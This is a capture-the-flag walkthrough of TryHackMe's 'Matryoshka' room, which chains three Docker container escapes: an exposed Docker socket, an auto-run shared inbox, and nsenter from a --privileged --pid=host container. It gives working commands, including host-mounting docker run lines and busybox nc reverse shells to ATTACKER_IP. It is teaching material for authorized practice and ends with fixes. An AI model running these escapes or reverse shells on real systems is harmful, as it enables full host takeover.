Matryoshka
Three nested Docker escapes: an exposed docker socket launches a privileged host-mount container, a shared inbox folder auto-runs dropped scripts in a deeper container, and a --privileged --pid=host container is broken out of with nsenter onto the real EC2 host.
A walkthrough of the “Matryoshka” room from TryHackMe — nested container escapes, like the dolls. SSH drops us inside a Docker container; an exposed Docker socket launches a privileged host-mounting container; a shared inbox folder auto-executes scripts in a deeper container; and that container’s --privileged --pid=host config lets nsenter break out onto the real host.
Matryoshka is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. All three flags are shown as
THM{<redacted>}— real on the box, withheld here.
TL;DR
TL;DR
SSH with the given creds lands inside Docker container level1 (/.dockerenv) → the docker CLI and socket are usable, so docker run --privileged -v /:/host alpine chroot /host sh gives root in a host-mounting container (flag 2) → inside it, a shared /mnt/level3share/inbox auto-runs scripts dropped there (output to outbox), executing them in level3 as root (flag 3) → ps shows level3 runs with --privileged --pid=host, so PID 1 is the host’s init → nsenter -t 1 -a enters the host’s namespaces for a shell on the real EC2 host (host flag).
The target
export IP=<target-ip>
export ATTACKER_IP=<your-ip>
nmap shows only SSH. The given credentials log us into a shell that announces the “Matryoshka Containment Unit” — and /.dockerenv plus a container hostname confirm we’re inside Docker.
ssh matryoshka@$IP # -> container fbe9f684bbbc, uid=1000(matryoshka)
The vulnerability
Each layer is a textbook container-escape primitive stacked on the next: a reachable Docker socket, an auto-executing shared folder, and a --privileged --pid=host container. The goal is the host, reached one doll at a time.
Insight
The three escapes: (1) a usable Docker socket means a container can start another container that mounts the host filesystem (-v /:/host) — instant root on that layer. (2) A shared folder whose scripts a more-privileged container runs is remote code execution across the boundary. (3) --privileged --pid=host shares the host PID namespace, so PID 1 is the host’s init — and nsenter -t 1 -a jumps into all of init’s namespaces, i.e. onto the host itself.
Step 1 — Docker socket → host-mount container (flag 2)
Inside level1, docker works. Launch a privileged container that mounts the host root and chroots into it:
docker images # alpine:3.20 available
docker run -it --rm --privileged --pid=host --net=host -v /:/host alpine:3.20 chroot /host /bin/sh
# whoami -> root ; cat /root/flag_level2.txt -> THM{<redacted>}
Step 2 — auto-run inbox → code execution in level3 (flag 3)
This layer has a shared /mnt/level3share/ with inbox/outbox. A runner executes any script dropped in inbox and writes results to outbox. Drop a recon/reverse-shell script:
cat > /mnt/level3share/inbox/pwn.sh << 'EOF'
#!/bin/sh
busybox nc $ATTACKER_IP 4445 -e /bin/bash
EOF
# runs in level3 as root -> cat /root/flag_level3.txt -> THM{<redacted>}
# (results also appear in /mnt/level3share/outbox/pwn.sh.out)
Step 3 — nsenter the host via –pid=host (host flag)
From level3, ps reveals how it was launched:
docker run --name level3 --privileged --pid=host ... matryoshka-level3:latest
--pid=host means PID 1 inside level3 is the host’s systemd, and --privileged grants CAP_SYS_ADMIN. Drop a script that nsenters into PID 1’s namespaces to land on the host:
cat > /mnt/level3share/inbox/pwn.sh << 'EOF'
#!/bin/sh
nsenter -t 1 -a -- sh -c 'busybox nc $ATTACKER_IP 4444 -e /bin/bash'
EOF
# nc -lvnp 4444 -> root shell on host 'matryoshka'
# cat /root/flag_host.txt -> THM{<redacted>}
Impact
Critical
Critical — CVSS 3.1 ~9.3 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). A low-privileged container user escapes three nested Docker layers: a reachable Docker socket yields a host-mounting privileged container, an auto-executing shared folder gives code execution in a deeper container, and a --privileged --pid=host container is broken out of with nsenter to full root on the underlying host — complete compromise of the host and every container on it.
Recommended fix
Fix
- Never expose the Docker socket (
/var/run/docker.sock) inside containers — it’s equivalent to host root. - Don’t run containers
--privilegedor--pid=hostunless absolutely required; drop capabilities and use user namespaces. - Don’t auto-execute files from a shared, writable folder in a more-privileged context — that’s cross-boundary RCE. Validate and sandbox any job runner.
- Segment layers. A container should never be able to reach the host’s init namespace.
Takeaways
- A Docker socket is host root. If a container can talk to
docker, it can mount/of the host. - Shared auto-run folders are RCE. Scripts executed by a privileged runner cross the trust boundary.
--privileged --pid=host=nsenter -t 1 -a**.** PID 1 is the host’s init; entering its namespaces is a host shell.- Escapes nest. Each layer’s misconfiguration is the next layer’s foothold.
Matryoshka is a focused container-security box where every doll is a real-world Docker escape. Thanks for reading.